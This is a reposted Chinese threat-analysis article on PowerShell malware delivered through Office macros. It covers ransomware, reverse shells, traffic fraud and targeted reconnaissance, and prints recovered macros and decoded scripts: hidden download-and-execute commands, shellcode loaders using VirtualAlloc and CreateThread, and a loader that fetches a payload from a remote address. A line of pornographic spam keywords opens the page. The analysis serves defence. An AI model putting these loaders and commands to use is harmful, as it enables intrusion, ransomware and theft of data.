小男孩‘自慰网亚洲一区二区,亚洲一级在线播放毛片,亚洲中文字幕av每天更新,黄aⅴ永久免费无码,91成人午夜在线精品,色网站免费在线观看,亚洲欧洲wwwww在线观看

分享

Powershell惡意代碼的N種姿勢

 ar135 2017-08-02

轉(zhuǎn)自freebuf

引言

人在做,天在看。

技術(shù)從來都是中性的,被用來行善還是作惡完全取決于運用它的人。原子能可以用來發(fā)電為大眾提供清潔能源,也可以用來制造能毀滅全人類的核武器,這不是一個完善的世界,于是我們既有核電站也有了核武器。

Powershell,曾經(jīng)Windows系統(tǒng)管理員的稱手工具,在惡意代碼制造和傳播者手里也被玩得花樣百出。由于Powershell的可執(zhí)行框架部分是系統(tǒng)的組件不可能被查殺,而驅(qū)動它的腳本是非PE的而非常難以通過靜態(tài)方法判定惡意性,同時腳本可以非常小巧而在系統(tǒng)底層的支持下功能卻可以非常強大,這使利用Powershell的惡意代碼繞過常規(guī)的病毒防護對系統(tǒng)為所欲為。因此,360天眼實驗室近期看到此類惡意代碼泛濫成災(zāi)就毫不奇怪,事實上,我們甚至看到所跟蹤的APT團伙也開始轉(zhuǎn)向Powershell。

本文我們向大家展示一些看到的實際惡意代碼的例子。

實例分析

這里我們基于360威脅情報中心的數(shù)據(jù),對接觸到的Powershell惡意代碼按分類各舉一例。

勒索軟件

我們知道現(xiàn)在勒索軟件以其直接的變現(xiàn)方式現(xiàn)在已成為黑產(chǎn)的寵兒,像雨后春筍那樣冒出來的勒索軟件中,我們看到了使用純Powershell腳本實現(xiàn)的例子。

樣本MD5:ea7775da99367ac89f70f2a95c7f8e8e

這是一個通過Word文檔中嵌入宏以誘導(dǎo)執(zhí)行的勒索軟件,使用工具提取出其中的宏,內(nèi)容如下:

"vba_code": "Private Sub Document_Open() Dim FGHNBVRGHJJGFDSDUUUU As String FGHNBVRGHJJGFDSDUUUU = "cmd /K " + "pow" + "er" + "Sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http:///file.php','%TEMP%\Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y.ps1" Shell FGHNBVRGHJJGFDSDUUUU, 0 MsgBox ("Module could not be found.") FGHHH = 7 * 2 DGHhhdRGHH = 9 + 23 End Sub"

宏的功能是下載http:///file.php到本地的temp目錄下,并用Powershell運行這個文件。而下載回來的file.php本質(zhì)上是一個ps的腳本文件,MD5為:dd180477d6a0bb6ce3c29344546ebdfc 。

勒索者腳本的實現(xiàn)原理是:通過隨機生成加密密鑰與用戶ID,將加密密鑰與用戶ID信息上傳到服務(wù)器進行備份,在用戶機器上使用對稱算法將用戶的文檔進行加密。因為密鑰為隨機生成,除非擁有攻擊者服務(wù)器上備份的密鑰,否則很難將被加密的文檔進行還原。

腳本的原貌為:

1.jpg

可見,腳本做了混淆處理,簡單處理以后歸納出的腳本主要執(zhí)行過程如下:

1. 生成三個隨機數(shù),分別表示加密密鑰、加密用的鹽、UUID

2.jpg

把上面生成隨機數(shù)發(fā)送到服務(wù)器中保存

3.jpg

2. 用隨機數(shù)生成加密容器

4.jpg

3. 得到磁盤中的所有的指定后綴的文件

調(diào)用Get-PSDrive,得到所有文件名

$folder= gdr|where {$_.Free}|Sort-Object -Descending

5.jpg

4. 加密這些文件的前2048個字節(jié)后寫回文件

6.jpg

5. 解碼Base64得到提示勒索的html文件

7.jpg

在html文件的尾部添加上贖回密鑰用的UUID及當(dāng)前時間

8.jpg

滲透測試

此類樣本大多使用網(wǎng)絡(luò)上的nishang開源工具包生成的攻擊文件。攻擊文件以Word、Excel、CHM、LNK等格式的文件為載體,嵌入Payload,實現(xiàn)獲得反彈Shell等功能,實現(xiàn)對系統(tǒng)的控制。

樣本MD5:929d104ae3f02129bbf9fa3c5cb8f7a1

文件打開后,會顯示文件損壞,用來迷惑用戶,Word中的宏卻悄然運行了。

11.jpg

宏的內(nèi)容為:

Sub AutoOpen()

Dim x

x = “powershell -window hidden -enc JAAxACA[……]APQA” _

& “wB3AGUAcgBzAGgAZQBsAGwAIAAkADIAIAAkAGUAIgA7AH0A”

Shell (“POWERSHELL.EXE ” & x)

Dim title As String

title = “Critical Microsoft Office Error”

Dim msg As String

Dim intResponse As Integer

msg = “This document appears to be corrupt or missing critical rows in order to restore. Please restore this file from a backup.”

intResponse = MsgBox(msg, 16, title)

Application.Quit

End Sub

將宏中的字符串,用Base64解碼后,得到內(nèi)容如下:

$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,0x34,0xff,0xf9,0x18,0xd9,0xeb,0xd9,0x74,[……] ,0xda,0x73,0x5d;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-enc ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}

將其中的shellcode提取出來進行分析得知,這段shellcode的主要功能是反向連接內(nèi)網(wǎng)IP 192.168.1.30的4444端口。

22.jpg

另一個與上述樣本有著類似功能的樣本的MD5為:1e39753fd56f17010ac62b1d84b5e650

從文件中提取出來的宏為:

33.jpg

而這四個函數(shù)對應(yīng)的功能分別為

Execute:

用Powershell下載invoke-shellcode.ps后,通過invoke-shellcode函數(shù)調(diào)用指定Payload windows/meterpreter/reverse_https 建立反彈shell,反彈的地址為98.100.108.133,端口為443

其中部分代碼為:

44.jpg

Persist:

將Powershell建立反彈Shell的功能用VBS實現(xiàn)后,保存在C:\Users\Public\10-D.vbs文件中

Reg

新建HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load注冊表,值指定為C:\Users\Public\10-D.vbs

Start

調(diào)用C:\Users\Public\10-D.vbs

而有時,為了抵抗殺毒軟件的追殺,樣本通常會進行Base64編碼。

MD5:c49ee3fb4897dd1cdab1d0ae4fe55988

下面為提取出來的宏內(nèi)容,可見代碼使用了Base64編碼:

 "vba_code": "Sub Workbook_Open() 'VBA arch detect suggested by "T" Dim Command As String Dim str As String Dim exec As String Arch = Environ("PROCESSOR_ARCHITECTURE") windir = Environ("windir") If Arch = "AMD64" Then Command = windir + "\syswow64\windowspowershell\v1.0\powershell.exe" Else Command = "powershell.exe" End If str = "nVRtb9tGDP7uX0EIN0BCLEV+aZZYCNDUadZsdZrFbtLNMIazRFvXnO" str = str + "6U08mR4/q/j3I0x/06f9CZFI/PQ/Kh2BOcw3unNb2U8jrLtb"[……]str = str + "TjdLP9Fw==" exec = Command + " -NoP -NonI -W Hidden -Exec Bypass -Comm" exec = exec + "and ""Invoke-Expression $(New-Object IO.StreamRea" exec = exec + "

解碼后的內(nèi)容為:

$q = @”

[DllImport(“kernel32.dll”)] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport(“kernel32.dll”)] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpP

arameter, uint dwCreationFlags, IntPtr lpThreadId);

“@

try{$d = “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789”.ToCharArray()

function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum % 0x100 -eq 92)}

function t {$f = “”;1..3|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;}

function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}}

function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e;  foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return “9vXU”;}

[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient;

$m.Headers.Add(“user-agent”, “Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)”);$n = g; [Byte[]] $p = $m.DownloadData(“https://192.168.0.105:4444/$n

” )

$o = Add-Type -memberDefinition $q -Name “Win32” -namespace Win32Functions -passthru

$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length)

$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}

腳本的功能是通過g函數(shù)隨機生成四位的字符,從內(nèi)網(wǎng)網(wǎng)址下載后加載執(zhí)行https://192.168.0.105:4444/xxxx (其中xxxx為隨機四位字符)

這里連接的是192.168.0.105為內(nèi)網(wǎng)IP,此樣本很可能是滲透者進行內(nèi)網(wǎng)滲透攻擊的測試樣本。此類樣本還有很多:

eae0906f98568c5fb25b2bb32b1dbed7

111.jpg

1a42671ce3b2701956ba49718c9e118e

222.jpg

496ed16e636203fa0eadbcdc182b0e85

333.jpg

使用LNK文件,建立反彈shell的樣本

444.jpg

流量欺騙

為了快速提升網(wǎng)站流量、Alexa排名、淘寶網(wǎng)店訪問量、博客人氣、每日訪問IP、PV、UV等,有些網(wǎng)站站長會采取非常規(guī)的引流方法,采用軟件在后臺模擬人正常訪問網(wǎng)頁的點擊動作而達到提升流量的目的。

樣本MD5:5f8dc4db8a658b7ba185c2f038f3f075

文檔打開后里面只有“test by c”這幾個文字

555.jpg

提取出文檔中的宏中的加密字符解密后得到可讀的ps腳本如下

$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,[……] ,0x31,0x32,0x38,0x2e,0x31,0x39,0x36,0x2e,0x38,0x34,0x00,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";$cmd = "-nop -noni -enc ";iex "& $x86 $cmd $e"}else{$cmd = "-nop -noni -enc";iex "& powershell $cmd $e";}

可見,ps腳本的主要功能就是執(zhí)行Shellcode,這段Shellcode的功能就是調(diào)用wininet.dll中的函數(shù)進行連接138.128.196.84地址的443端口。而138.128.196.84地址正為流量寶類的軟件用的地址。

666.jpg

探測控制

樣本對通過宏調(diào)用Powershell下載PE文件在受影響的系統(tǒng)上檢查是否為關(guān)心的目標(biāo)并執(zhí)行進一步地操作,具備針對性攻擊的特點。

樣本MD5:fba6b329876533f28d317e60fe53c8d3

從樣本中抽取出的宏主要是根據(jù)系統(tǒng)版本下載相應(yīng)的文件執(zhí)行

   Sub AutoOpen()

x1 = “Download”

h = “Str”

o = “power” & “shell” & “.exe”

Const HIDDEN_WINDOW = 0

strComputer = “.”

abcdef = h & “ing”

Set objWMIService = GetObject(“winmgmts:\\” & strComputer & “\root\cimv2″)

Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)

Set objConfig = objStartup.SpawnInstance_

objConfig.ShowWindow = HIDDEN_WINDOW

Set objProcess = GetObject(“winmgmts:\\” & strComputer & “\root\cimv2:Win32_Process”)

objProcess.Create o & ” -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c if ([IntPtr]::size -eq 4) {(new-object Net.WebClient).” & x1 & abcdef & “(‘http:///cache‘) | iex } else {(new-object Net.WebClient).” & x1 & abcdef & “(‘http:///css‘) | iex}”, Null, objConfig, intProcessID

其中的對應(yīng)32位系統(tǒng)的cache文件的內(nèi)容如下:

q.jpg

我們對Shellcode進行簡單分析:

1. 在內(nèi)存中解密,生成一個PE文件,在內(nèi)存中展開跳到入口點處執(zhí)行,將PE文件的.BSS區(qū)段進行解碼,解碼算法如下

w.jpg

解密后的結(jié)果為:

e.jpg

2.判斷是不是64位系統(tǒng) 

r.jpg

判斷虛擬機

t.jpg

 3. 用FindFirstUrlCacheEntry和FindNextUrlCacheEntry遍歷IE臨時文件目錄 ,用于判斷用戶是否是攻擊者的目標(biāo)用戶

y.jpg

 4.計算用戶和電腦信息的HASH

u.jpg

隨后B03938處創(chuàng)建線程進行下面的動作

判斷ipconfig -all 命令中是否有.edu、school、hospital、colledge、health、nurse等字符串

a.jpg

調(diào)用cmd /C “”ipconfig -all > C:\DOCUME~1\yyyyy\LOCALS~1\Temp\xxxx.TMP(xxx代表隨機數(shù))生成文件,檢測.edu、school、hospital、colledge、health、nurse等字符串

s.jpg

5. 遍歷系統(tǒng)中的進程,檢測有否指定hash的進程正在運行,

d.jpg

從IE緩存中查找用戶是不是訪問過這些網(wǎng)址:

通過WININET.FindFirstUrlCacheEntryW   WININET.FindNextUrlCacheEntryW WININET.FindCloseUrlCache

f.jpg

得到net view命令返回值中是否有pos、store、shop、sale等字符串

g.jpg

發(fā)送用戶信息,并下載相對應(yīng)的惡意程序:

h.jpg

其中,用這種手法的惡意樣本還有如下:

j.jpg

信息搜集

樣本中的宏代碼下載執(zhí)行信息收集類的Powershell腳本,很可能是某些針對性攻擊的前導(dǎo)。

樣本MD5:f7c3c7df2e7761eceff991bf457ed5b9

提取出來的宏代碼為:

k.jpg

下載一個名為Get-Info-2.ps1的腳本,腳本功能是將本機的IP地址、domainname、username、usbid等發(fā)送到遠端服務(wù)器中。

l.jpg

總結(jié)

天眼實驗室再次提醒用戶,此類惡意軟件主要依賴通過微軟的Office文檔傳播,用戶應(yīng)該確保宏不默認啟用,提防任何來自不受信任來源的文件,當(dāng)打開文件系統(tǒng)提示要使用宏時務(wù)必慎重。同時要盡量選用可靠的安全軟件進行防范,如無必要不要關(guān)閉安全軟件,當(dāng)發(fā)現(xiàn)系統(tǒng)出現(xiàn)異常情況,應(yīng)及時查殺木馬,盡可能避免各類惡意代碼的騷擾。

參考資料

http://news./news/powerware-ransomware-abuses-microsoft-word-and-powershell-to-infect-users-502200.shtml

https://www./2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/

https://www./

* 作者:360天眼實驗室(企業(yè)賬號),轉(zhuǎn)載請注明來自FreeBuf黑客與極客(FreeBuf.COM)

本文鏈接: http://www./the-variety-of-powershell-malice-code.html
請尊重原作者和編輯的辛勤勞動,歡迎轉(zhuǎn)載,并注明出處!

暫時沒有相關(guān)文章。

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多